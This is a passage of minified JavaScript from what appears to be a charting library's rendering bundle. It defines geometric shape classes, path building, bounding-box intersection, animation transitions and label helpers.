n,r);break;case`A`:y=p[g++],b=p[g++],x=p[g++],S=p[g++],C=p[g++],w=n,T=r,n=p[g++],r=p[g++],f=s.A,wf(w,T,n,r,S,C,y,b,x,f,t);break;case`a`:y=p[g++],b=p[g++],x=p[g++],S=p[g++],C=p[g++],w=n,T=r,n+=p[g++],r+=p[g++],f=s.A,wf(w,T,n,r,S,C,y,b,x,f,t);break}}(d===`z`||d===`Z`)&&(f=s.Z,t.addData(f),n=i,r=a),o=f}return t.toStatic(),t}var Of=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.applyTransform=function(e){},t}(Cu);function kf(e){return e.setData!=null}function Af(e,t){var n=Df(e),r=F({},t);return r.buildPath=function(e){var t=kf(e);if(t&&e.canSave()){e.appendPath(n);var r=e.getContext();r&&e.rebuildPath(r,1)}else{var r=t?e.getContext():e;r&&n.rebuildPath(r,1)}},r.applyTransform=function(e){gf(n,e),this.dirtyShape()},r}function jf(e,t){return new Of(Af(e,t))}function Mf(e,t){var n=Af(e,t);return function(e){N(t,e);function t(t){var r=e.call(this,t)||this;return r.applyTransform=n.applyTransform,r.buildPath=n.buildPath,r}return t}(Of)}function Nf(e,t){for(var n=[],r=e.length,i=0;i<r;i++){var a=e[i];n.push(a.getUpdatedPathProxy(!0))}var o=new Cu(t);return o.createPathProxy(),o.buildPath=function(e){if(kf(e)){e.appendPath(n);var t=e.getContext();t&&e.rebuildPath(t,1)}},o}function Pf(e,t){t||={};var n=new Cu;return e.shape&&n.setShape(e.shape),n.setStyle(e.style),t.bakeTransform?gf(n.path,e.getComputedTransform()):t.toLocal?n.setLocalTransform(e.getComputedTransform()):n.copyTransform(e),n.buildPath=e.buildPath,n.applyTransform=n.applyTransform,n.z=e.z,n.z2=e.z2,n.zlevel=e.zlevel,n}var Ff=function(){function e(){this.cx=0,this.cy=0,this.r=0}return e}(),If=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultShape=function(){return new Ff},t.prototype.buildPath=function(e,t){e.moveTo(t.cx+t.r,t.cy),e.arc(t.cx,t.cy,t.r,0,Math.PI*2)},t}(Cu);If.prototype.type=`circle`;var Lf=function(){function e(){this.cx=0,this.cy=0,this.rx=0,this.ry=0}return e}(),Rf=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultShape=function(){return new Lf},t.prototype.buildPath=function(e,t){var n=.5522848,r=t.cx,i=t.cy,a=t.rx,o=t.ry,s=a*n,c=o*n;e.moveTo(r-a,i),e.bezierCurveTo(r-a,i-c,r-s,i-o,r,i-o),e.bezierCurveTo(r+s,i-o,r+a,i-c,r+a,i),e.bezierCurveTo(r+a,i+c,r+s,i+o,r,i+o),e.bezierCurveTo(r-s,i+o,r-a,i+c,r-a,i),e.closePath()},t}(Cu);Rf.prototype.type=`ellipse`;var zf=Math.PI,Bf=zf*2,Vf=Math.sin,Hf=Math.cos,Uf=Math.acos,Wf=Math.atan2,Gf=Math.abs,Kf=Math.sqrt,qf=Math.max,Jf=Math.min,Yf=1e-4;function Xf(e,t,n,r,i,a,o,s){var c=n-e,l=r-t,u=o-i,d=s-a,f=d*c-u*l;if(!(f*f<Yf))return f=(u*(t-a)-d*(e-i))/f,[e+f*c,t+f*l]}function Zf(e,t,n,r,i,a,o){var s=e-n,c=t-r,l=(o?a:-a)/Kf(s*s+c*c),u=l*c,d=-l*s,f=e+u,p=t+d,m=n+u,h=r+d,g=(f+m)/2,_=(p+h)/2,v=m-f,y=h-p,b=v*v+y*y,x=i-a,S=f*h-m*p,C=(y<0?-1:1)*Kf(qf(0,x*x*b-S*S)),w=(S*y-v*C)/b,T=(-S*v-y*C)/b,E=(S*y+v*C)/b,D=(-S*v+y*C)/b,O=w-g,k=T-_,A=E-g,j=D-_;return O*O+k*k>A*A+j*j&&(w=E,T=D),{cx:w,cy:T,x0:-u,y0:-d,x1:w*(i/x-1),y1:T*(i/x-1)}}function Qf(e){var t;if(B(e)){var n=e.length;if(!n)return e;t=n===1?[e[0],e[0],0,0]:n===2?[e[0],e[0],e[1],e[1]]:n===3?e.concat(e[2]):e}else t=[e,e,e,e];return t}function $f(e,t){var n,r=qf(t.r,0),i=qf(t.r0||0,0),a=r>0;if(!(!a&&!(i>0))){if(a||(r=i,i=0),i>r){var o=r;r=i,i=o}var s=t.startAngle,c=t.endAngle;if(!(isNaN(s)||isNaN(c))){var l=t.cx,u=t.cy,d=!!t.clockwise,f=Gf(c-s),p=f>Bf&&f%Bf;if(p>Yf&&(f=p),!(r>Yf))e.moveTo(l,u);else if(f>Bf-Yf)e.moveTo(l+r*Hf(s),u+r*Vf(s)),e.arc(l,u,r,s,c,!d),i>Yf&&(e.moveTo(l+i*Hf(c),u+i*Vf(c)),e.arc(l,u,i,c,s,d));else{var m=void 0,h=void 0,g=void 0,_=void 0,v=void 0,y=void 0,b=void 0,x=void 0,S=void 0,C=void 0,w=void 0,T=void 0,E=void 0,D=void 0,O=void 0,k=void 0,A=r*Hf(s),j=r*Vf(s),ee=i*Hf(c),te=i*Vf(c),M=f>Yf;if(M){var ne=t.cornerRadius;ne&&(n=Qf(ne),m=n[0],h=n[1],g=n[2],_=n[3]);var re=Gf(r-i)/2;if(v=Jf(re,g),y=Jf(re,_),b=Jf(re,m),x=Jf(re,h),w=S=qf(v,y),T=C=qf(b,x),(S>Yf||C>Yf)&&(E=r*Hf(c),D=r*Vf(c),O=i*Hf(s),k=i*Vf(s),f<zf)){var ie=Xf(A,j,O,k,E,D,ee,te);if(ie){var ae=A-ie[0],oe=j-ie[1],se=E-ie[0],ce=D-ie[1],le=1/Vf(Uf((ae*se+oe*ce)/(Kf(ae*ae+oe*oe)*Kf(se*se+ce*ce)))/2),ue=Kf(ie[0]*ie[0]+ie[1]*ie[1]);w=Jf(S,(r-ue)/(le+1)),T=Jf(C,(i-ue)/(le-1))}}}if(!M)e.moveTo(l+A,u+j);else if(w>Yf){var de=Jf(g,w),fe=Jf(_,w),pe=Zf(O,k,A,j,r,de,d),me=Zf(E,D,ee,te,r,fe,d);e.moveTo(l+pe.cx+pe.x0,u+pe.cy+pe.y0),w<S&&de===fe?e.arc(l+pe.cx,u+pe.cy,w,Wf(pe.y0,pe.x0),Wf(me.y0,me.x0),!d):(de>0&&e.arc(l+pe.cx,u+pe.cy,de,Wf(pe.y0,pe.x0),Wf(pe.y1,pe.x1),!d),e.arc(l,u,r,Wf(pe.cy+pe.y1,pe.cx+pe.x1),Wf(me.cy+me.y1,me.cx+me.x1),!d),fe>0&&e.arc(l+me.cx,u+me.cy,fe,Wf(me.y1,me.x1),Wf(me.y0,me.x0),!d))}else e.moveTo(l+A,u+j),e.arc(l,u,r,s,c,!d);if(!(i>Yf)||!M)e.lineTo(l+ee,u+te);else if(T>Yf){var de=Jf(m,T),fe=Jf(h,T),pe=Zf(ee,te,E,D,i,-fe,d),me=Zf(A,j,O,k,i,-de,d);e.lineTo(l+pe.cx+pe.x0,u+pe.cy+pe.y0),T<C&&de===fe?e.arc(l+pe.cx,u+pe.cy,T,Wf(pe.y0,pe.x0),Wf(me.y0,me.x0),!d):(fe>0&&e.arc(l+pe.cx,u+pe.cy,fe,Wf(pe.y0,pe.x0),Wf(pe.y1,pe.x1),!d),e.arc(l,u,i,Wf(pe.cy+pe.y1,pe.cx+pe.x1),Wf(me.cy+me.y1,me.cx+me.x1),d),de>0&&e.arc(l+me.cx,u+me.cy,de,Wf(me.y1,me.x1),Wf(me.y0,me.x0),!d))}else e.lineTo(l+ee,u+te),e.arc(l,u,i,c,s,d)}e.closePath()}}}var ep=function(){function e(){this.cx=0,this.cy=0,this.r0=0,this.r=0,this.startAngle=0,this.endAngle=Math.PI*2,this.clockwise=!0,this.cornerRadius=0}return e}(),tp=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultShape=function(){return new ep},t.prototype.buildPath=function(e,t){$f(e,t)},t.prototype.isZeroArea=function(){return this.shape.startAngle===this.shape.endAngle||this.shape.r===this.shape.r0},t}(Cu);tp.prototype.type=`sector`;var np=function(){function e(){this.cx=0,this.cy=0,this.r=0,this.r0=0}return e}(),rp=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultShape=function(){return new np},t.prototype.buildPath=function(e,t){var n=t.cx,r=t.cy,i=Math.PI*2;e.moveTo(n+t.r,r),e.arc(n,r,t.r,0,i,!1),e.moveTo(n+t.r0,r),e.arc(n,r,t.r0,0,i,!0)},t}(Cu);rp.prototype.type=`ring`;function ip(e,t,n,r){var i=[],a=[],o=[],s=[],c,l,u,d;if(r){u=[1/0,1/0],d=[-1/0,-1/0];for(var f=0,p=e.length;f<p;f++)an(u,u,e[f]),on(d,d,e[f]);an(u,u,r[0]),on(d,d,r[1])}for(var f=0,p=e.length;f<p;f++){var m=e[f];if(n)c=e[f?f-1:p-1],l=e[(f+1)%p];else if(f===0||f===p-1){i.push(Ut(e[f]));continue}else c=e[f-1],l=e[f+1];qt(a,l,c),Xt(a,a,t);var h=Qt(m,c),g=Qt(m,l),_=h+g;_!==0&&(h/=_,g/=_),Xt(o,a,-h),Xt(s,a,g);var v=Gt([],m,o),y=Gt([],m,s);r&&(on(v,v,u),an(v,v,d),on(y,y,u),an(y,y,d)),i.push(v),i.push(y)}return n&&i.push(i.shift()),i}function ap(e,t,n){var r=t.smooth,i=t.points;if(i&&i.length>=2){if(r){var a=ip(i,r,n,t.smoothConstraint);e.moveTo(i[0][0],i[0][1]);for(var o=i.length,s=0;s<(n?o:o-1);s++){var c=a[s*2],l=a[s*2+1],u=i[(s+1)%o];e.bezierCurveTo(c[0],c[1],l[0],l[1],u[0],u[1])}}else{e.moveTo(i[0][0],i[0][1]);for(var s=1,d=i.length;s<d;s++)e.lineTo(i[s][0],i[s][1])}n&&e.closePath()}}var op=function(){function e(){this.points=null,this.smooth=0,this.smoothConstraint=null}return e}(),sp=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultShape=function(){return new op},t.prototype.buildPath=function(e,t){ap(e,t,!0)},t}(Cu);sp.prototype.type=`polygon`;var cp=function(){function e(){this.points=null,this.percent=1,this.smooth=0,this.smoothConstraint=null}return e}(),lp=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultStyle=function(){return{stroke:`#000`,fill:null}},t.prototype.getDefaultShape=function(){return new cp},t.prototype.buildPath=function(e,t){ap(e,t,!1)},t}(Cu);lp.prototype.type=`polyline`;var up={},dp=function(){function e(){this.x1=0,this.y1=0,this.x2=0,this.y2=0,this.percent=1}return e}(),fp=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultStyle=function(){return{stroke:`#000`,fill:null}},t.prototype.getDefaultShape=function(){return new dp},t.prototype.buildPath=function(e,t){var n,r,i,a;if(this.subPixelOptimize){var o=Mu(up,t,this.style);n=o.x1,r=o.y1,i=o.x2,a=o.y2}else n=t.x1,r=t.y1,i=t.x2,a=t.y2;var s=t.percent;s!==0&&(e.moveTo(n,r),s<1&&(i=n*(1-s)+i*s,a=r*(1-s)+a*s),e.lineTo(i,a))},t.prototype.pointAt=function(e){var t=this.shape;return[t.x1*(1-e)+t.x2*e,t.y1*(1-e)+t.y2*e]},t}(Cu);fp.prototype.type=`line`;var pp=[],mp=function(){function e(){this.x1=0,this.y1=0,this.x2=0,this.y2=0,this.cpx1=0,this.cpy1=0,this.percent=1}return e}();function hp(e,t,n){var r=e.cpx2,i=e.cpy2;return r!=null||i!=null?[(n?Zr:Xr)(e.x1,e.cpx1,e.cpx2,e.x2,t),(n?Zr:Xr)(e.y1,e.cpy1,e.cpy2,e.y2,t)]:[(n?ii:ri)(e.x1,e.cpx1,e.x2,t),(n?ii:ri)(e.y1,e.cpy1,e.y2,t)]}var gp=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultStyle=function(){return{stroke:`#000`,fill:null}},t.prototype.getDefaultShape=function(){return new mp},t.prototype.buildPath=function(e,t){var n=t.x1,r=t.y1,i=t.x2,a=t.y2,o=t.cpx1,s=t.cpy1,c=t.cpx2,l=t.cpy2,u=t.percent;u!==0&&(e.moveTo(n,r),c==null||l==null?(u<1&&(si(n,o,i,u,pp),o=pp[1],i=pp[2],si(r,s,a,u,pp),s=pp[1],a=pp[2]),e.quadraticCurveTo(o,s,i,a)):(u<1&&(ei(n,o,c,i,u,pp),o=pp[1],c=pp[2],i=pp[3],ei(r,s,l,a,u,pp),s=pp[1],l=pp[2],a=pp[3]),e.bezierCurveTo(o,s,c,l,i,a)))},t.prototype.pointAt=function(e){return hp(this.shape,e,!1)},t.prototype.tangentAt=function(e){var t=hp(this.shape,e,!0);return Zt(t,t)},t}(Cu);gp.prototype.type=`bezier-curve`;var _p=function(){function e(){this.cx=0,this.cy=0,this.r=0,this.startAngle=0,this.endAngle=Math.PI*2,this.clockwise=!0}return e}(),vp=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultStyle=function(){return{stroke:`#000`,fill:null}},t.prototype.getDefaultShape=function(){return new _p},t.prototype.buildPath=function(e,t){var n=t.cx,r=t.cy,i=Math.max(t.r,0),a=t.startAngle,o=t.endAngle,s=t.clockwise,c=Math.cos(a),l=Math.sin(a);e.moveTo(c*i+n,l*i+r),e.arc(n,r,i,a,o,!s)},t}(Cu);vp.prototype.type=`arc`;var yp=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.type=`compound`,t}return t.prototype._updatePathDirty=function(){for(var e=this.shape.paths,t=this.shapeChanged(),n=0;n<e.length;n++)t||=e[n].shapeChanged();t&&this.dirtyShape()},t.prototype.beforeBrush=function(){this._updatePathDirty();for(var e=this.shape.paths||[],t=this.getGlobalScale(),n=0;n<e.length;n++)e[n].path||e[n].createPathProxy(),e[n].path.setScale(t[0],t[1],e[n].segmentIgnoreThreshold)},t.prototype.buildPath=function(e,t){for(var n=t.paths||[],r=0;r<n.length;r++)n[r].buildPath(e,n[r].shape,!0)},t.prototype.afterBrush=function(){for(var e=this.shape.paths||[],t=0;t<e.length;t++)e[t].pathUpdated()},t.prototype.getBoundingRect=function(){return this._updatePathDirty.call(this),Cu.prototype.getBoundingRect.call(this)},t}(Cu),bp=function(){function e(e){this.colorStops=e||[]}return e.prototype.addColorStop=function(e,t){this.colorStops.push({offset:e,color:t})},e}(),xp=function(e){N(t,e);function t(t,n,r,i,a,o){var s=e.call(this,a)||this;return s.x=t??0,s.y=n??0,s.x2=r??1,s.y2=i??0,s.type=`linear`,s.global=o||!1,s}return t}(bp),Sp=function(e){N(t,e);function t(t,n,r,i,a){var o=e.call(this,i)||this;return o.x=t??.5,o.y=n??.5,o.r=r??.5,o.type=`radial`,o.global=a||!1,o}return t}(bp),Cp=Math.min,wp=Math.max,Tp=Math.abs,Ep=[0,0],Dp=[0,0],Op=dr(),kp=Op.minTv,Ap=Op.maxTv,jp=function(){function e(e,t){this._corners=[],this._axes=[],this._origin=[0,0];for(var n=0;n<4;n++)this._corners[n]=new q;for(var n=0;n<2;n++)this._axes[n]=new q;e&&this.fromBoundingRect(e,t)}return e.prototype.fromBoundingRect=function(e,t){var n=this._corners,r=this._axes,i=e.x,a=e.y,o=i+e.width,s=a+e.height;if(n[0].set(i,a),n[1].set(o,a),n[2].set(o,s),n[3].set(i,s),t)for(var c=0;c<4;c++)n[c].transform(t);q.sub(r[0],n[1],n[0]),q.sub(r[1],n[3],n[0]),r[0].normalize(),r[1].normalize();for(var c=0;c<2;c++)this._origin[c]=r[c].dot(n[0])},e.prototype.intersect=function(e,t,n){var r=!0,i=!t;return t&&q.set(t,0,0),Op.reset(n,!i),!this._intersectCheckOneSide(this,e,i,1)&&(r=!1,i)||!this._intersectCheckOneSide(e,this,i,-1)&&(r=!1,i)||!i&&!Op.negativeSize&&q.copy(t,r?Op.useDir?Op.dirMinTv:kp:Ap),r},e.prototype._intersectCheckOneSide=function(e,t,n,r){for(var i=!0,a=0;a<2;a++){var o=e._axes[a];if(e._getProjMinMaxOnAxis(a,e._corners,Ep),e._getProjMinMaxOnAxis(a,t._corners,Dp),Op.negativeSize||Ep[1]<Dp[0]||Ep[0]>Dp[1]){if(i=!1,Op.negativeSize||n)return i;var s=Tp(Dp[0]-Ep[1]),c=Tp(Ep[0]-Dp[1]);Cp(s,c)>Ap.len()&&(s<c?q.scale(Ap,o,-s*r):q.scale(Ap,o,c*r))}else if(!n){var s=Tp(Dp[0]-Ep[1]),c=Tp(Ep[0]-Dp[1]);(Op.useDir||Cp(s,c)<kp.len())&&((s<c||!Op.bidirectional)&&(q.scale(kp,o,s*r),Op.useDir&&Op.calcDirMTV()),(s>=c||!Op.bidirectional)&&(q.scale(kp,o,-c*r),Op.useDir&&Op.calcDirMTV()))}}return i},e.prototype._getProjMinMaxOnAxis=function(e,t,n){for(var r=this._axes[e],i=this._origin,a=t[0].dot(r)+i[e],o=a,s=a,c=1;c<t.length;c++){var l=t[c].dot(r)+i[e];o=Cp(l,o),s=wp(l,s)}n[0]=o+Op.touchThreshold,n[1]=s-Op.touchThreshold,Op.negativeSize=n[1]<n[0]},e}(),Mp=[],Np=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.notClear=!0,t.incremental=!0,t._displayables=[],t._temporaryDisplayables=[],t._cursor=0,t}return t.prototype.traverse=function(e,t){e.call(t,this)},t.prototype.useStyle=function(){this.style={}},t.prototype.getCursor=function(){return this._cursor},t.prototype.innerAfterBrush=function(){this._cursor=this._displayables.length},t.prototype.clearDisplaybles=function(){this._displayables=[],this._temporaryDisplayables=[],this._cursor=0,this.markRedraw(),this.notClear=!1},t.prototype.clearTemporalDisplayables=function(){this._temporaryDisplayables=[]},t.prototype.addDisplayable=function(e,t){t?this._temporaryDisplayables.push(e):this._displayables.push(e),this.markRedraw()},t.prototype.addDisplayables=function(e,t){t||=!1;for(var n=0;n<e.length;n++)this.addDisplayable(e[n],t)},t.prototype.getDisplayables=function(){return this._displayables},t.prototype.getTemporalDisplayables=function(){return this._temporaryDisplayables},t.prototype.eachPendingDisplayable=function(e){for(var t=this._cursor;t<this._displayables.length;t++)e&&e(this._displayables[t]);for(var t=0;t<this._temporaryDisplayables.length;t++)e&&e(this._temporaryDisplayables[t])},t.prototype.update=function(){this.updateTransform();for(var e=this._cursor;e<this._displayables.length;e++){var t=this._displayables[e];t.parent=this,t.update(),t.parent=null}for(var e=0;e<this._temporaryDisplayables.length;e++){var t=this._temporaryDisplayables[e];t.parent=this,t.update(),t.parent=null}},t.prototype.getBoundingRect=function(){if(!this._rect){for(var e=new J(1/0,1/0,-1/0,-1/0),t=0;t<this._displayables.length;t++){var n=this._displayables[t],r=n.getBoundingRect().clone();n.needLocalTransform()&&r.applyTransform(n.getLocalTransform(Mp)),e.union(r)}this._rect=e}return this._rect},t.prototype.contain=function(e,t){var n=this.transformCoordToLocal(e,t);if(this.getBoundingRect().contain(n[0],n[1])){for(var r=0;r<this._displayables.length;r++)if(this._displayables[r].contain(e,t))return!0}return!1},t}(hl),Pp=oc();function Fp(e,t,n,r,i){var a;if(t&&t.ecModel){var o=t.ecModel.getUpdatePayload();a=o&&o.animation}var s=t&&t.isAnimationEnabled(),c=e===`update`;if(s){var l=void 0,u=void 0,d=void 0;return r?(l=W(r.duration,200),u=W(r.easing,`cubicOut`),d=0):(l=t.getShallow(c?`animationDurationUpdate`:`animationDuration`),u=t.getShallow(c?`animationEasingUpdate`:`animationEasing`),d=t.getShallow(c?`animationDelayUpdate`:`animationDelay`)),a&&(a.duration!=null&&(l=a.duration),a.easing!=null&&(u=a.easing),a.delay!=null&&(d=a.delay)),V(d)&&(d=d(n,i)),V(l)&&(l=l(n)),{duration:l||0,delay:d,easing:u}}else return null}function Ip(e,t,n,r,i,a,o){var s=!1,c;V(i)?(o=a,a=i,i=null):U(i)&&(a=i.cb,o=i.during,s=i.isFrom,c=i.removeOpt,i=i.dataIndex);var l=e===`leave`;l||t.stopAnimation(`leave`);var u=Fp(e,r,i,l?c||{}:null,r&&r.getAnimationDelayParams?r.getAnimationDelayParams(t,i):null);if(u&&u.duration>0){var d=u.duration,f=u.delay,p=u.easing,m={duration:d,delay:f||0,easing:p,done:a,force:!!a||!!o,setToFinal:!l,scope:e,during:o};s?t.animateFrom(n,m):t.animateTo(n,m)}else t.stopAnimation(),!s&&t.attr(n),o&&o(1),a&&a()}function Lp(e,t,n,r,i,a){Ip(`update`,e,t,n,r,i,a)}function Rp(e,t,n,r,i,a){Ip(`enter`,e,t,n,r,i,a)}function zp(e){if(!e.__zr)return!0;for(var t=0;t<e.animators.length;t++)if(e.animators[t].scope===`leave`)return!0;return!1}function Bp(e,t,n,r,i,a){zp(e)||Ip(`leave`,e,t,n,r,i,a)}function Vp(e,t,n,r){e.removeTextContent(),e.removeTextGuideLine(),Bp(e,{style:{opacity:0}},t,n,r)}function Hp(e,t,n){function r(){e.parent&&e.parent.remove(e)}e.isGroup?e.traverse(function(e){e.isGroup||Vp(e,t,n,r)}):Vp(e,t,n,r)}function Up(e){Pp(e).oldStyle=e.style}function Wp(e){return Pp(e).oldStyle}var Gp=n({Arc:()=>vp,BezierCurve:()=>gp,BoundingRect:()=>J,Circle:()=>If,CompoundPath:()=>yp,Ellipse:()=>Rf,Group:()=>Y,Image:()=>ku,IncrementalDisplayable:()=>Np,Line:()=>fp,LinearGradient:()=>xp,OrientedBoundingRect:()=>jp,Path:()=>Cu,Point:()=>q,Polygon:()=>sp,Polyline:()=>lp,RadialGradient:()=>Sp,Rect:()=>Lu,Ring:()=>rp,Sector:()=>tp,Text:()=>Hu,WH:()=>Jp,XY:()=>qp,applyTransform:()=>lm,calcZ2Range:()=>Mm,clipPointsByRect:()=>mm,clipRectByRect:()=>hm,createIcon:()=>gm,ensureCopyRect:()=>km,ensureCopyTransform:()=>Am,expandOrShrinkRect:()=>xm,extendPath:()=>Zp,extendShape:()=>Yp,getShapeClass:()=>$p,getTransform:()=>cm,groupTransition:()=>pm,initProps:()=>Rp,isBoundingRectAxisAligned:()=>Dm,isElementRemoved:()=>zp,lineLineIntersect:()=>vm,linePolygonIntersect:()=>_m,makeImage:()=>tm,makePath:()=>em,mergePath:()=>rm,registerShape:()=>Qp,removeElement:()=>Bp,removeElementWithFadeOut:()=>Hp,resizePath:()=>im,retrieveZInfo:()=>jm,setTooltipConfig:()=>wm,subPixelOptimize:()=>sm,subPixelOptimizeLine:()=>am,subPixelOptimizeRect:()=>om,transformDirection:()=>um,traverseElements:()=>Em,traverseUpdateZ:()=>Nm,updateProps:()=>Lp}),Kp={},qp=[`x`,`y`],Jp=[`width`,`height`];function Yp(e){return Cu.extend(e)}var Xp=Mf;function Zp(e,t){return Xp(e,t)}function Qp(e,t){Kp[e]=t}function $p(e){if(Kp.hasOwnProperty(e))return Kp[e]}function em(e,t,n,r){var i=jf(e,t);return n&&(r===`center`&&(n=nm(n,i.getBoundingRect())),im(i,n)),i}function tm(e,t,n){var r=new ku({style:{image:e,x:t.x,y:t.y,width:t.width,height:t.height},onload:function(e){if(n===`center`){var i={width:e.width,height:e.height};r.setStyle(nm(t,i))}}});return r}function nm(e,t){var n=t.width/t.height,r=e.height*n,i;r<=e.width?i=e.height:(r=e.width,i=r/n);var a=e.x+e.width/2,o=e.y+e.height/2;return{x:a-r/2,y:o-i/2,width:r,height:i}}var rm=Nf;function im(e,t){if(e.applyTransform){var n=e.getBoundingRect().calculateTransform(t);e.applyTransform(n)}}function am(e,t){return Mu(e,e,{lineWidth:t}),e}function om(e,t){return Nu(e,e,t),e}var sm=Pu;function cm(e,t){for(var n=Vn([]);e&&e!==t;)Un(n,e.getLocalTransform(),n),e=e.parent;return n}function lm(e,t,n){return t&&!st(t)&&(t=fo.getLocalTransform(t)),n&&(t=qn([],t)),rn([],e,t)}function um(e,t,n){var r=t[4]===0||t[5]===0||t[0]===0?1:is(2*t[4]/t[0]),i=t[4]===0||t[5]===0||t[2]===0?1:is(2*t[4]/t[2]),a=[e===`left`?-r:e===`right`?r:0,e===`top`?-i:e===`bottom`?i:0];return a=lm(a,t,n),is(a[0])>is(a[1])?a[0]>0?`right`:`left`:a[1]>0?`bottom`:`top`}function dm(e){return!e.isGroup}function fm(e){return e.shape!=null}function pm(e,t,n){if(!e||!t)return;function r(e){var t={};return e.traverse(function(e){dm(e)&&e.anid&&(t[e.anid]=e)}),t}function i(e){var t={x:e.x,y:e.y,rotation:e.rotation};return fm(e)&&(t.shape=P(e.shape)),t}var a=r(e);t.traverse(function(e){if(dm(e)&&e.anid){var t=a[e.anid];if(t){var r=i(e);e.attr(i(t)),Lp(e,r,n,Z(e).dataIndex)}}})}function mm(e,t){return R(e,function(e){var n=e[0];n=rs(n,t.x),n=ns(n,t.x+t.width);var r=e[1];return r=rs(r,t.y),r=ns(r,t.y+t.height),[n,r]})}function hm(e,t){var n=rs(e.x,t.x),r=ns(e.x+e.width,t.x+t.width),i=rs(e.y,t.y),a=ns(e.y+e.height,t.y+t.height);if(r>=n&&a>=i)return{x:n,y:i,width:r-n,height:a-i}}function gm(e,t,n){var r=F({rectHover:!0},t),i=r.style={strokeNoScale:!0};if(n||={x:-1,y:-1,width:2,height:2},e)return e.indexOf(`image://`)===0?(i.image=e.slice(8),I(i,n),new ku(r)):em(e.replace(`path://`,``),r,n,`center`)}function _m(e,t,n,r,i){for(var a=0,o=i[i.length-1];a<i.length;a++){var s=i[a];if(vm(e,t,n,r,s[0],s[1],o[0],o[1]))return!0;o=s}}function vm(e,t,n,r,i,a,o,s){var c=n-e,l=r-t,u=o-i,d=s-a,f=ym(u,d,c,l);if(bm(f))return!1;var p=e-i,m=t-a,h=ym(p,m,c,l)/f;if(h<0||h>1)return!1;var g=ym(p,m,u,d)/f;return!(g<0||g>1)}function ym(e,t,n,r){return e*r-n*t}function bm(e){return e<=1e-6&&e>=-1e-6}function xm(e,t,n,r,i){return t==null?e:(ht(t)?Sm[0]=Sm[1]=Sm[2]=Sm[3]=t:(Sm[0]=t[0],Sm[1]=t[1],Sm[2]=t[2],Sm[3]=t[3]),r&&(Sm[0]=rs(0,Sm[0]),Sm[1]=rs(0,Sm[1]),Sm[2]=rs(0,Sm[2]),Sm[3]=rs(0,Sm[3])),n&&(Sm[0]=-Sm[0],Sm[1]=-Sm[1],Sm[2]=-Sm[2],Sm[3]=-Sm[3]),Cm(e,Sm,`x`,`width`,3,1,i&&i[0]||0),Cm(e,Sm,`y`,`height`,0,2,i&&i[1]||0),e)}var Sm=[0,0,0,0];function Cm(e,t,n,r,i,a,o){var s=t[a]+t[i],c=e[r];e[r]+=s,o=rs(0,ns(o,c)),e[r]<o?(e[r]=o,e[n]+=t[i]>=0?-t[i]:t[a]>=0?c+t[a]:is(s)>1e-8?(c-o)*t[i]/s:0):e[n]-=t[i]}function wm(e){var t=e.itemTooltipOption,n=e.componentModel,r=e.itemName,i=H(t)?{formatter:t}:t,a=n.mainType,o=n.componentIndex,s={componentType:a,name:r,$vars:[`name`]};s[a+`Index`]=o;var c=e.formatterParamsExtra;c&&L(dt(c),function(e){K(s,e)||(s[e]=c[e],s.$vars.push(e))});var l=Z(e.el);l.componentMainType=a,l.componentIndex=o,l.tooltipConfig={name:r,option:I({content:r,encodeHTMLContent:!0,formatterParams:s},i)}}function Tm(e,t){var n;e.isGroup&&(n=t(e)),n||e.traverse(t)}function Em(e,t){if(e)if(B(e))for(var n=0;n<e.length;n++)Tm(e[n],t);else Tm(e,t)}function Dm(e){return!e||is(e[1])<Om&&is(e[2])<Om||is(e[0])<Om&&is(e[3])<Om}var Om=1e-5;function km(e,t){return e?J.copy(e,t):t.clone()}function Am(e,t){return t?Hn(e||Bn(),t):void 0}function jm(e){return{z:e.get(`z`)||0,zlevel:e.get(`zlevel`)||0}}function Mm(e){var t=-1/0,n=1/0;Tm(e,function(e){r(e),r(e.getTextContent()),r(e.getTextGuideLine())});function r(e){if(!(!e||e.isGroup)){var t=e.currentStates;if(t.length)for(var n=0;n<t.length;n++)i(e.states[t[n]]);i(e)}}function i(e){if(e){var r=e.z2;r>t&&(t=r),r<n&&(n=r)}}return n>t&&(n=t=0),{min:n,max:t}}function Nm(e,t,n){Pm(e,t,n,-1/0)}function Pm(e,t,n,r){if(e.ignoreModelZ)return r;var i=e.getTextContent(),a=e.getTextGuideLine();if(e.isGroup)for(var o=e.childrenRef(),s=0;s<o.length;s++)r=rs(Pm(o[s],t,n,r),r);else e.z=t,e.zlevel=n,r=rs(e.z2||0,r);if(i&&(i.z=t,i.zlevel=n,isFinite(r)&&(i.z2=r+2)),a){var c=e.textGuideLineConfig;a.z=t,a.zlevel=n,isFinite(r)&&(a.z2=r+(c&&c.showAbove?1:-1))}return r}Qp(`circle`,If),Qp(`ellipse`,Rf),Qp(`sector`,tp),Qp(`ring`,rp),Qp(`polygon`,sp),Qp(`polyline`,lp),Qp(`rect`,Lu),Qp(`line`,fp),Qp(`bezierCurve`,gp),Qp(`arc`,vp);var Fm={};function Im(e,t){for(var n=0;n<sd.length;n++){var r=sd[n],i=t[r],a=e.ensureState(r);a.style=a.style||{},a.style.text=i}var o=e.currentStates.slice();e.clearStates(!0),e.setStyle({text:t.normal}),e.useStates(o,!0)}function Lm(e,t,n){var r=e.labelFetcher,i=e.labelDataIndex,a=e.labelDimIndex,o=t.normal,s;r&&(s=r.getFormattedLabel(i,`normal`,null,a,o&&o.get(`formatter`),n==null?null:{interpolatedValue:n})),s??=V(e.defaultText)?e.defaultText(i,e,n):e.defaultText;for(var c={normal:s},l=0;l<sd.length;l++){var u=sd[l],d=t[u];c[u]=W(r?r.getFormattedLabel(i,u,null,a,d&&d.get(`formatter`)):null,s)}return c}function Rm(e,t,n,r){n||=Fm;for(var i=e instanceof 